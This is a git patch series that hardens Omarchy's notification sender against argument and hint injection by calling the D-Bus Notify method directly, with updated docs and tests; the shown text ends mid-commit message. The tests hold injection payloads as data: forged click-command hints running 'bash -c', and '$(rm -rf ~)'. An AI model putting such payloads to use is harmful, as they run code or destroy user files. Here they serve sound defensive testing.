+++ b/docs/notifications.md @@ -127,6 +127,12 @@ and needs no notification to execute code. What is fully closed is untrusted *content* — web notifications can't set the exec hint at all, and any relayed title/filename is confined to inert argument data. +The sender keeps that last part true rather than leaving it to each caller. The +headline and description go to `notify-send` behind a `--`, so a relayed value +beginning with a dash is text and not flags, and a word that reaches the +pass-through option position carrying `omarchy-exec-argv` is refused outright: +`--exec` is the only thing that may build a click command. + ## Helper commands - `omarchy-notification-wait [timeout]` — polls until the shell answers IPC diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 1819032e..60bb4f9c 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -34,8 +34,9 @@ mapfile -t args <"$args_file" [[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" [[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" [[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts the click command to an argv hint" "${args[6]}" -[[ ${args[7]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" -[[ ${args[8]} == "Body" ]] || fail "notification wrapper preserves description" +[[ ${args[7]} == "--" ]] || fail "notification wrapper ends the options before the text" "${args[7]}" +[[ ${args[8]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" +[[ ${args[9]} == "Body" ]] || fail "notification wrapper preserves description" pass "notification wrapper supports app, glyph, urgency, image, and exec options" # The shell runs the click command itself, so nothing may block the sender on a @@ -97,3 +98,23 @@ argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} grep -qx -- "--exec" "$args_file" || fail "notification wrapper keeps a --exec-looking headline as text" grep -q 'image-path:/tmp/i.png' "$args_file" || fail "notification wrapper still parses options after a --exec-looking headline" pass "notification wrapper does not treat a --exec-looking positional as the delimiter" + +# The headline and description are text, never options. notify-send parses a +# leading-dash summary as flags ("-rf x" is -r with the value x) and reads a +# `--hint=string:...` word as a hint, so they go behind a `--` separator. +: >"$args_file" +send "-rf oops" "a body" >/dev/null +mapfile -t args <"$args_file" +[[ ${args[-3]} == "--" ]] || fail "notification wrapper separates a dash headline from the options" "${args[*]}" +[[ ${args[-2]} == "-rf oops" ]] || fail "notification wrapper keeps a dash headline as text" "${args[*]}" +[[ ${args[-1]} == "a body" ]] || fail "notification wrapper keeps the description after a dash headline" "${args[*]}" +pass "notification wrapper hands the headline to notify-send as text, not options" + +# The click command has exactly one door. A relayed title or filename that +# reaches option position must not be able to forge the hint --exec produces. +: >"$args_file" +if send "Download complete" '--hint=string:omarchy-exec-argv:["sh","-c","touch /tmp/pwned"]' 2>/dev/null; then + fail "notification wrapper rejects a forged click-command hint" +fi +grep -q "omarchy-exec-argv" "$args_file" && fail "notification wrapper sends nothing when a click hint is forged" +pass "notification wrapper refuses a click-command hint it did not build from --exec" From be63983d16ec2673f5f6e0f4bfc7167b8344d807 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 16:47:13 -0400 Subject: [PATCH 7/9] Describe parseExecArgv as a structural check, not intent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The comment claimed the validation kept a hostile hint from reaching a shell, but it is purely structural: a well-formed ["bash","-c",…] passes. Say so, and point at the separate sender-trust boundary. --- shell/plugins/notifications/NotificationLogic.js | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 849521c2..9bad602d 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -66,9 +66,13 @@ function execArgvFromHints(hints) { return stringHint(hints, "omarchy-exec-argv") } -// Validate a persisted omarchy-exec-argv into a runnable argv, or null. Fails -// closed so a malformed/hostile hint never reaches a shell: must be a non-empty -// JSON array of strings whose program is present and not a leading-dash option. +// Validate a persisted omarchy-exec-argv into a runnable argv, or null. This is +// a STRUCTURAL check only: it fails closed on a malformed hint (non-array, a +// non-string or empty program, or a leading-dash program that argv would read as +// an option). It does not judge intent — a well-formed ["bash","-c",…] is +// accepted. WHICH senders may set this hint is a separate boundary: any +// session-bus process can, by the freedesktop protocol's design (see +// docs/notifications.md), which is equivalent to same-uid code execution. function parseExecArgv(value) { var text = String(value || "") if (!text) return null From e3729a385b2be0b1bedcde0d2fe8dd786e2bb9d6 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 17:02:29 -0400 Subject: [PATCH 8/9] Send notifications via the Notify D-Bus method, never notify-send MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit omarchy-notification-send now calls org.freedesktop.Notifications.Notify directly with `busctl --user`, instead of shelling out to notify-send. Each value is one typed D-Bus parameter, so there is no argv/option layer that could reinterpret a relayed headline like `--hint=…` or `-rf` as an option or a hint: the summary and body are strings, and omarchy-exec-argv is built only from --exec. A leading `--` keeps busctl's own getopt from reading a dash-leading value as a busctl option. Map -i to app_icon, -t to expire_timeout, and urgency to the byte hint; unknown options are now a hard error rather than a silent pass-through. Route the unused hypr o.notify helper and the sample hooks through the wrapper too, and tighten the bin-style test so nothing under bin/ may call notify-send. The test stubs busctl and trips if notify-send is invoked. --- bin/omarchy-notification-send | 118 +++++++----- .../font-set.d/show-font-notification.sample | 2 +- .../omarchy/hooks/post-boot.d/weather.sample | 2 +- .../show-update-notification.sample | 2 +- .../show-theme-notification.sample | 2 +- default/hypr/helpers.lua | 2 +- docs/notifications.md | 36 ++-- test/shell.d/bin-style-test.sh | 5 +- test/shell.d/chromium-ytdlp-test.sh | 8 +- test/shell.d/notification-send-test.sh | 176 ++++++++++-------- 10 files changed, 206 insertions(+), 147 deletions(-) diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 773e87d7..57f94396 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]] +# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -11,46 +11,63 @@ description="" glyph= urgency="low" app_name="omarchy-action" +app_icon="" image= +expire_timeout=-1 exec_args=() exec_present=0 -args=() parsed_option_args=0 +usage() { + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [--image ] [description] [--exec [args...]]" >&2 +} + +need_value() { + if (($1 < 2)); then + echo "Missing value for $2" >&2 + exit 1 + fi +} + parse_omarchy_option() { case $1 in -g | --glyph) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi + need_value $# "$1" glyph=$2 parsed_option_args=2 return 0 ;; -u | --urgency) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi + need_value $# "$1" urgency="$2" parsed_option_args=2 return 0 ;; --app-name) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi + need_value $# "$1" app_name=$2 parsed_option_args=2 return 0 ;; - --image) - if (($# < 2)); then - echo "Missing value for $1" >&2 + -i | --icon) + need_value $# "$1" + app_icon=$2 + parsed_option_args=2 + return 0 + ;; + -t | --expire-time) + need_value $# "$1" + if [[ $2 != *[!0-9-]* && $2 =~ ^-?[0-9]+$ ]]; then + expire_timeout=$2 + else + echo "Invalid $1 value (milliseconds expected): $2" >&2 exit 1 fi + parsed_option_args=2 + return 0 + ;; + --image) + need_value $# "$1" image=$2 parsed_option_args=2 return 0 @@ -69,7 +86,7 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] [--exec [args...]]" + usage exit 1 fi @@ -97,33 +114,35 @@ while (($# > 0)); do elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else - # --exec is the only door to a click command. A relayed title or filename - # that lands here -- passthrough is the one position an untrusted value can - # still reach notify-send as an option -- must not be able to set the hint - # itself, which is the injection this transport exists to close. - if [[ $1 == *omarchy-exec-argv* ]]; then - echo "The click command hint can only be set with --exec, not passed through." >&2 - exit 1 - fi - args+=("$1") - shift + echo "Unknown option: $1" >&2 + usage + exit 1 fi done -# Tag as a user-action toast so it pops through DND. -args+=("-a" "$app_name" "-u" "$urgency") +case $urgency in +low) urgency_byte=0 ;; +normal) urgency_byte=1 ;; +critical) urgency_byte=2 ;; +*) + echo "Unknown urgency: $urgency (use low, normal, or critical)" >&2 + exit 1 + ;; +esac + +# a{sv} hints, as busctl triples (key, variant type, value). urgency is a byte; +# the rest are strings. The click command rides here as omarchy-exec-argv, built +# only from --exec below. +hints=(urgency y "$urgency_byte") if [[ -n $glyph ]]; then - args+=("--hint=string:omarchy-glyph:$glyph") + hints+=(omarchy-glyph s "$glyph") fi if [[ -n $image ]]; then - args+=("--hint=string:image-path:$image") + hints+=(image-path s "$image") fi -# The click command travels with the popup as an argv hint the shell runs -# itself, so restored toasts stay clickable and senders don't block on a -# libnotify action (which dies when the shell restarts). if ((exec_present)); then if ((${#exec_args[@]} == 0)); then echo "--exec needs a command: --exec [args...]" >&2 @@ -141,14 +160,25 @@ if ((exec_present)); then # NUL-delimit into jq so every byte survives as data: jq's own --args would eat # a bare "--", and a newline in an arg must not split the vector. exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') - args+=("--hint=string:omarchy-exec-argv:$exec_argv_json") + hints+=(omarchy-exec-argv s "$exec_argv_json") fi -# `--` so notify-send reads the headline and description as text. Without it a -# headline beginning with a dash is parsed as options ("-rf x" becomes -r), and -# one shaped like `--hint=string:...` sets a hint of its own. -if [[ -n $description ]]; then - notify-send "${args[@]}" -- "$headline" "$description" -else - notify-send "${args[@]}" -- "$headline" -fi +hint_count=$((${#hints[@]} / 3)) + +# Call org.freedesktop.Notifications.Notify directly — never notify-send. Its +# argv parsing is the surface that reinterprets a relayed headline like +# `--hint=…` or `-rf` as options or hints; busctl takes each value as one typed +# D-Bus parameter instead, and the leading `--` keeps a dash-leading value +# (headline, description, a negative timeout) positional rather than a busctl +# option. So the summary and body are strings that can never become a hint, and +# omarchy-exec-argv is set only from --exec. +# +# Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body, +# actions (empty), hints, expire_timeout. +busctl --user -- call \ + org.freedesktop.Notifications /org/freedesktop/Notifications \ + org.freedesktop.Notifications Notify susssasa{sv}i \ + "$app_name" 0 "$app_icon" "$headline" "$description" \ + 0 \ + "$hint_count" "${hints[@]}" \ + "$expire_timeout" >/dev/null diff --git a/config/omarchy/hooks/font-set.d/show-font-notification.sample b/config/omarchy/hooks/font-set.d/show-font-notification.sample index a75f2fa8..c1f50ee5 100644 --- a/config/omarchy/hooks/font-set.d/show-font-notification.sample +++ b/config/omarchy/hooks/font-set.d/show-font-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show the name of the font that was just set. -# notify-send -u low "New font" "Your new font is $1" +# omarchy-notification-send -u low "New font" "Your new font is $1" diff --git a/config/omarchy/hooks/post-boot.d/weather.sample b/config/omarchy/hooks/post-boot.d/weather.sample index 60a1c88f..01857cb7 100644 --- a/config/omarchy/hooks/post-boot.d/weather.sample +++ b/config/omarchy/hooks/post-boot.d/weather.sample @@ -6,5 +6,5 @@ weather=$(omarchy-weather-status 2>/dev/null) || true if [[ -n $weather && $weather != "Weather unavailable" ]]; then - notify-send -u low "$weather" + omarchy-notification-send -u low "$weather" fi diff --git a/config/omarchy/hooks/post-update.d/show-update-notification.sample b/config/omarchy/hooks/post-update.d/show-update-notification.sample index f6ba07b0..929e1e2a 100644 --- a/config/omarchy/hooks/post-update.d/show-update-notification.sample +++ b/config/omarchy/hooks/post-update.d/show-update-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show notification after the system has been updated. -# notify-send -u low "Update Performed" "Your system is now up to date" +# omarchy-notification-send -u low "Update Performed" "Your system is now up to date" diff --git a/config/omarchy/hooks/theme-set.d/show-theme-notification.sample b/config/omarchy/hooks/theme-set.d/show-theme-notification.sample index db19b298..d224db7c 100644 --- a/config/omarchy/hooks/theme-set.d/show-theme-notification.sample +++ b/config/omarchy/hooks/theme-set.d/show-theme-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show the name of the theme that was just set. -# notify-send -u low "New theme" "Your new theme is $1" +# omarchy-notification-send -u low "New theme" "Your new theme is $1" diff --git a/default/hypr/helpers.lua b/default/hypr/helpers.lua index d1affbc7..b1eb48fa 100644 --- a/default/hypr/helpers.lua +++ b/default/hypr/helpers.lua @@ -136,7 +136,7 @@ function o.bind_toggle(keys, description, toggle, options) end function o.notify(message) - return "notify-send -u low " .. shell_quote(message) + return "omarchy-notification-send -u low " .. shell_quote(message) end function o.window(match, rules) diff --git a/docs/notifications.md b/docs/notifications.md index cad18248..7651fd71 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -63,16 +63,25 @@ Ephemeral ones (the freedesktop `transient` hint, or an `app_name` of ## The sender contract `bin/omarchy-notification-send` is the one way Omarchy code sends -notifications — never raw `notify-send`. It translates its flags into -notify-send arguments and passes any unrecognized options through: +notifications — never raw `notify-send`. It calls +`org.freedesktop.Notifications.Notify` directly over the session bus (via +`busctl --user`), so each value is one typed D-Bus parameter and there is no +argv layer that could reinterpret a relayed headline as an option or a hint. Its +flags map onto that call: | Flag | Becomes | Meaning | |---|---|---| -| `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec [args…]` | `--hint=string:omarchy-exec-argv:` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | -| `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | -| `--app-name` | `-a` | defaults to `omarchy-action` | -| `-u` / `--urgency` | `-u` | defaults to `low` | +| `-g` / `--glyph` | hint `omarchy-glyph` | Nerd Font glyph for the icon slot when no image icon resolves | +| `--exec [args…]` | hint `omarchy-exec-argv` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | +| `--image` | hint `image-path` | the standard freedesktop image hint | +| `-i` / `--icon` | `app_icon` | themed icon name for the toast | +| `--app-name` | `app_name` | defaults to `omarchy-action` | +| `-u` / `--urgency` | hint `urgency` (byte) | `low`/`normal`/`critical`; defaults to `low` | +| `-t` / `--expire-time` | `expire_timeout` | milliseconds on screen; server default otherwise | + +Unknown flags are a hard error, not a silent pass-through: `--exec` is the only +door to a click command, and there is no generic option pass-through to smuggle +one through. The defaults are the point: an unadorned `omarchy-notification-send "Done"` is a low-urgency user-action toast that pops through DND and is treated as @@ -127,11 +136,14 @@ and needs no notification to execute code. What is fully closed is untrusted *content* — web notifications can't set the exec hint at all, and any relayed title/filename is confined to inert argument data. -The sender keeps that last part true rather than leaving it to each caller. The -headline and description go to `notify-send` behind a `--`, so a relayed value -beginning with a dash is text and not flags, and a word that reaches the -pass-through option position carrying `omarchy-exec-argv` is refused outright: -`--exec` is the only thing that may build a click command. +The sender keeps that last part true structurally rather than leaving it to each +caller. Because it calls `Notify` directly, the headline and description are +typed string parameters — a relayed value like `--hint=…` or `-rf` is the +summary or body, never an option or a hint, and there is no argv/option layer +(no `notify-send`) left to reinterpret it. `--exec` is the only thing that can +build the `omarchy-exec-argv` hint. (The leading `--` on the `busctl` call is a +belt for `busctl`'s own getopt, which would otherwise read a dash-leading value +as a `busctl` option; the summary/body themselves are never parsed as options.) ## Helper commands diff --git a/test/shell.d/bin-style-test.sh b/test/shell.d/bin-style-test.sh index e7824e9b..3f216734 100644 --- a/test/shell.d/bin-style-test.sh +++ b/test/shell.d/bin-style-test.sh @@ -9,7 +9,6 @@ raw_command_checks=$(rg -l 'command -v' "$ROOT/bin" \ [[ -z $raw_command_checks ]] || fail "bin commands use command helpers" "$raw_command_checks" pass "bin commands use command helpers" -raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" \ - | rg -v '/omarchy-notification-send$' || true) -[[ -z $raw_notifications ]] || fail "bin commands use the notification helper" "$raw_notifications" +raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" || true) +[[ -z $raw_notifications ]] || fail "bin commands use the notification helper, never notify-send" "$raw_notifications" pass "bin commands use the notification helper" diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 99ef460f..6cd571c4 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -120,16 +120,16 @@ forged_title=$(host_fn decode_title '"Clip\nOMARCHY_FILE\tPlay me\t--include=not pass "yt-dlp native host keeps only the readable part of a forged title" host_fn decode_title '"--include=not-a-file"' && - fail "yt-dlp native host refuses a title notify-send would read as an option" -pass "yt-dlp native host refuses a title notify-send would read as an option" + fail "yt-dlp native host refuses a leading-dash title the notifier would reject as an option" +pass "yt-dlp native host refuses a leading-dash title the notifier would reject as an option" host_fn decode_title 'null' && fail "yt-dlp native host refuses a title that is not a JSON string" pass "yt-dlp native host refuses a title that is not a JSON string" dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") -[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" -pass "yt-dlp native host does not pass a leading-dash title to notify-send" +[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to the notifier" "$dash_title" +pass "yt-dlp native host does not pass a leading-dash title to the notifier" # The click action passes the path as a discrete --exec argument (asserted # end-to-end below against the real download); `--` keeps mpv from parsing a diff --git a/test/shell.d/notification-send-test.sh b/test/shell.d/notification-send-test.sh index 60bb4f9c..2f4d531c 100644 --- a/test/shell.d/notification-send-test.sh +++ b/test/shell.d/notification-send-test.sh @@ -7,114 +7,132 @@ source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" tmpdir=$(mktemp -d) trap 'rm -rf "$tmpdir"' EXIT -stub="$tmpdir/notify-send" args_file="$tmpdir/args" +# Stub the D-Bus transport and record the Notify call verbatim. printf '%s\n' \ '#!/bin/bash' \ - 'printf "%s\n" "$@" >"$OMARCHY_TEST_NOTIFY_ARGS"' \ - >"$stub" -chmod +x "$stub" + 'printf "%s\n" "$@" >"$OMARCHY_TEST_BUSCTL_ARGS"' \ + >"$tmpdir/busctl" +chmod +x "$tmpdir/busctl" + +# notify-send must never be used. If anything reaches for it, fail loudly. +printf '%s\n' '#!/bin/bash' 'echo "notify-send was invoked" >"$OMARCHY_TEST_NOTIFY_TRIPWIRE"; exit 3' \ + >"$tmpdir/notify-send" +chmod +x "$tmpdir/notify-send" +tripwire="$tmpdir/notify-send-was-used" send() { - OMARCHY_TEST_NOTIFY_ARGS="$args_file" PATH="$tmpdir:$ROOT/bin:$PATH" \ - omarchy-notification-send "$@" + OMARCHY_TEST_BUSCTL_ARGS="$args_file" OMARCHY_TEST_NOTIFY_TRIPWIRE="$tripwire" \ + PATH="$tmpdir:$ROOT/bin:$PATH" omarchy-notification-send "$@" } -# --exec consumes the rest of the line, so it comes after the headline/description. -send --app-name custom-app -g K -u critical --image /tmp/image.png \ - "Learn Keybindings" "Body" --exec omarchy-menu-keybindings 'a b' +# Notify(susssasa{sv}i) args, by position in the recorded busctl argv: +# 0 --user 1 -- 2 call 3 dest 4 path 5 iface 6 Notify 7 signature +# 8 app_name 9 replaces_id 10 app_icon 11 summary 12 body +# 13 actions-count 14 hint-count 15.. hint triples last expire_timeout +declare -a args +load() { mapfile -t args <"$args_file"; } +hint_count() { echo "${args[14]}"; } +has_hint() { # key + local i end=$((15 + 3 * ${args[14]})) + for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && return 0; done + return 1 +} +hint_value() { # key -> variant value + local i end=$((15 + 3 * ${args[14]})) + for ((i = 15; i < end; i += 3)); do [[ ${args[i]} == "$1" ]] && { echo "${args[i + 2]}"; return 0; }; done + return 1 +} -mapfile -t args <"$args_file" +# ---------------------------------------------------------------- happy path +send --app-name custom-app -g K -u critical -i battery-caution -t 5000 \ + "Download complete" "A body" --exec mpv -- "/tmp/a b.mp4" +load -[[ ${args[0]} == "-a" ]] || fail "notification wrapper passes app flag" -[[ ${args[1]} == "custom-app" ]] || fail "notification wrapper uses custom app name" -[[ ${args[2]} == "-u" ]] || fail "notification wrapper passes urgency flag" -[[ ${args[3]} == "critical" ]] || fail "notification wrapper uses custom urgency" -[[ ${args[4]} == "--hint=string:omarchy-glyph:K" ]] || fail "notification wrapper converts glyph to hint" -[[ ${args[5]} == "--hint=string:image-path:/tmp/image.png" ]] || fail "notification wrapper converts image to hint" -[[ ${args[6]} == '--hint=string:omarchy-exec-argv:["omarchy-menu-keybindings","a b"]' ]] || fail "notification wrapper converts the click command to an argv hint" "${args[6]}" -[[ ${args[7]} == "--" ]] || fail "notification wrapper ends the options before the text" "${args[7]}" -[[ ${args[8]} == "Learn Keybindings" ]] || fail "notification wrapper preserves headline" -[[ ${args[9]} == "Body" ]] || fail "notification wrapper preserves description" -pass "notification wrapper supports app, glyph, urgency, image, and exec options" +[[ ${args[2]} == "call" ]] || fail "notification wrapper calls a bus method" +[[ ${args[3]} == "org.freedesktop.Notifications" ]] || fail "notification wrapper targets the notifications service" +[[ ${args[6]} == "Notify" ]] || fail "notification wrapper invokes Notify" +[[ ${args[8]} == "custom-app" ]] || fail "notification wrapper sets the app name" "${args[8]}" +[[ ${args[10]} == "battery-caution" ]] || fail "notification wrapper sets the app icon from -i" "${args[10]}" +[[ ${args[11]} == "Download complete" ]] || fail "notification wrapper sets the summary" "${args[11]}" +[[ ${args[12]} == "A body" ]] || fail "notification wrapper sets the body" "${args[12]}" +[[ ${args[-1]} == "5000" ]] || fail "notification wrapper sets the expire timeout from -t" "${args[-1]}" +[[ $(hint_value urgency) == "2" ]] || fail "notification wrapper maps critical urgency to 2" +[[ $(hint_value omarchy-glyph) == "K" ]] || fail "notification wrapper sets the glyph hint" +[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/a b.mp4"]' ]] || fail "notification wrapper builds the click argv hint" "$(hint_value omarchy-exec-argv)" +pass "notification wrapper issues a Notify call with app, icon, urgency, glyph, and click argv" -# The shell runs the click command itself, so nothing may block the sender on a -# libnotify action round-trip. -grep -q -- "-A" "$args_file" && fail "notification wrapper must not register a libnotify action" +[[ -f $tripwire ]] && fail "notification wrapper must never invoke notify-send" +pass "notification wrapper never invokes notify-send" +# ---------------------------------------------------------------- no click cmd : >"$args_file" send "Plain" >/dev/null -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper adds no exec hint without --exec" -pass "notification wrapper omits the exec hint when no command is given" +load +has_hint omarchy-exec-argv && fail "notification wrapper adds no click hint without --exec" +[[ ${args[11]} == "Plain" ]] || fail "notification wrapper still sends a plain toast" +pass "notification wrapper omits the click hint when no command is given" -# Rest-of-line --exec: the caller's shell has already split the words into -# discrete arguments, and the shell runs them without re-parsing, so shell -# metacharacters in a value are carried as data, never as a command. +# ------------------------------------------------ rest-of-line --exec is literal : >"$args_file" send "Download complete" --exec mpv -- '$(rm -rf ~); echo pwned' >/dev/null -argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") -argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} -[[ $(jq -r '.[0]' <<<"$argv_json") == "mpv" ]] || fail "notification wrapper puts the program first in the exec argv" -[[ $(jq -r '.[1]' <<<"$argv_json") == "--" ]] || fail "notification wrapper preserves a -- separator in the exec argv" -[[ $(jq -r '.[2]' <<<"$argv_json") == '$(rm -rf ~); echo pwned' ]] || - fail "notification wrapper carries shell metacharacters as literal argv data" "$argv_json" -pass "notification wrapper encodes rest-of-line --exec as a literal JSON argv vector" +load +json=$(hint_value omarchy-exec-argv) +[[ $(jq -r '.[0]' <<<"$json") == "mpv" ]] || fail "click argv program is first" +[[ $(jq -r '.[2]' <<<"$json") == '$(rm -rf ~); echo pwned' ]] || fail "click argv carries metacharacters as literal data" "$json" +pass "rest-of-line --exec is a literal argv vector" -# A quoted argument with spaces stays ONE argument — something a whitespace-split -# of a single string could never do. +# A quoted argument with spaces stays ONE argument. : >"$args_file" send "Head" --exec mpv -- "/tmp/a b.mp4" >/dev/null -argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") -argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} -[[ $(jq 'length' <<<"$argv_json") == 3 ]] || fail "notification wrapper keeps a spaced path as one argument" "$argv_json" -[[ $(jq -r '.[2]' <<<"$argv_json") == "/tmp/a b.mp4" ]] || fail "notification wrapper preserves the spaced path verbatim" "$argv_json" +load +[[ $(jq 'length' <<<"$(hint_value omarchy-exec-argv)") == 3 ]] || fail "spaced path stays one argument" pass "notification wrapper keeps a spaced argument intact" -# The muscle-memory trap: a single quoted whole command would run a program named -# with spaces. Reject it and point at the unquoted form rather than splitting it -# ourselves (which is the injection we avoid). +# ---------------------------------------------------------------- injections +# A forged click hint arriving as the SUMMARY is a typed string parameter — it +# can never become a hint. Only urgency is set; no click command exists. : >"$args_file" +send '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' "body" >/dev/null +load +has_hint omarchy-exec-argv && fail "a forged-hint headline must not set a click command" +[[ ${args[11]} == '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' ]] || fail "the forged headline is the summary text" "${args[11]}" +pass "a forged click hint in the headline is inert summary text" + +# A dash-leading forged hint in description position is refused outright. +: >"$args_file" +if send "Update" '--hint=string:omarchy-exec-argv:["bash","-c","touch /tmp/pwn"]' 2>/dev/null; then + fail "a forged-hint description must be refused" +fi +[[ -s $args_file ]] && fail "nothing is sent when the description forges a hint" +pass "a forged click hint in the description is refused" + +# An unknown option is a hard error, not a silent pass-through. +if send "Head" --bogus 2>/dev/null; then + fail "notification wrapper rejects an unknown option" +fi +pass "notification wrapper rejects an unknown option" + +# ---------------------------------------------------------------- --exec guards +# --exec is recognized only after the positionals: a headline literally "--exec" +# is text, and the real trailing --exec still wins. +: >"$args_file" +send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null +load +[[ $(hint_value omarchy-exec-argv) == '["mpv","--","/tmp/v.mp4"]' ]] || fail "a --exec-looking headline is not the delimiter" "$(hint_value omarchy-exec-argv)" +[[ ${args[11]} == "--exec" ]] || fail "a --exec-looking headline is kept as text" +pass "a --exec-looking positional is not treated as the delimiter" + +# A single quoted whole-command is rejected (splitting it ourselves is the +# injection we avoid). if send "Head" --exec "omarchy toggle something" 2>/dev/null; then fail "notification wrapper rejects a quoted whole command" fi -grep -q "omarchy-exec" "$args_file" && fail "notification wrapper emits no hint for a rejected --exec" pass "notification wrapper rejects a single quoted whole command" -# --exec with nothing after it is a usage error, not a silent no-op. +# --exec with nothing after it is a usage error. if send "Head" --exec 2>/dev/null; then fail "notification wrapper rejects --exec with no command" fi pass "notification wrapper rejects --exec with no command" - -# --exec is recognized only after the positionals, so an untrusted headline or -# description that is literally "--exec" is taken as text and cannot be mistaken -# for the delimiter (the real --exec later still wins). -: >"$args_file" -send "--exec" "a body" --image /tmp/i.png --exec mpv -- /tmp/v.mp4 >/dev/null -argv_hint=$(grep -- "--hint=string:omarchy-exec-argv:" "$args_file") -argv_json=${argv_hint#--hint=string:omarchy-exec-argv:} -[[ $(jq -c '.' <<<"$argv_json") == '["mpv","--","/tmp/v.mp4"]' ]] || fail "notification wrapper ignores a --exec-looking headline as the delimiter" "$argv_json" -grep -qx -- "--exec" "$args_file" || fail "notification wrapper keeps a --exec-looking headline as text" -grep -q 'image-path:/tmp/i.png' "$args_file" || fail "notification wrapper still parses options after a --exec-looking headline" -pass "notification wrapper does not treat a --exec-looking positional as the delimiter" - -# The headline and description are text, never options. notify-send parses a -# leading-dash summary as flags ("-rf x" is -r with the value x) and reads a -# `--hint=string:...` word as a hint, so they go behind a `--` separator. -: >"$args_file" -send "-rf oops" "a body" >/dev/null -mapfile -t args <"$args_file" -[[ ${args[-3]} == "--" ]] || fail "notification wrapper separates a dash headline from the options" "${args[*]}" -[[ ${args[-2]} == "-rf oops" ]] || fail "notification wrapper keeps a dash headline as text" "${args[*]}" -[[ ${args[-1]} == "a body" ]] || fail "notification wrapper keeps the description after a dash headline" "${args[*]}" -pass "notification wrapper hands the headline to notify-send as text, not options" - -# The click command has exactly one door. A relayed title or filename that -# reaches option position must not be able to forge the hint --exec produces. -: >"$args_file" -if send "Download complete" '--hint=string:omarchy-exec-argv:["sh","-c","touch /tmp/pwned"]' 2>/dev/null; then - fail "notification wrapper rejects a forged click-command hint" -fi -grep -q "omarchy-exec-argv" "$args_file" && fail "notification wrapper sends nothing when a click hint is forged" -pass "notification wrapper refuses a click-command hint it did not build from --exec" From 8f245e59dccd16b6104e58a7f3f83b82c032855b Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 23 Aug 2026 17:18:58 -0400 Subject: [PATCH 9/9] Restore notify-send option parity and prove legacy fail-closed The direct-Notify rewrite dropped notify-send options that callers rely on, which the momus review caught: omarchy-display-text-size uses -r/-p to refresh one toast in place, and the acceptance suite uses the --expire-time=15000 equals form. Re-add -r/--replace-id (replaces_id), -p/--print-id (emit the returned id), and the --flag=value form for every long option; a dash-leading description like "-50% off" 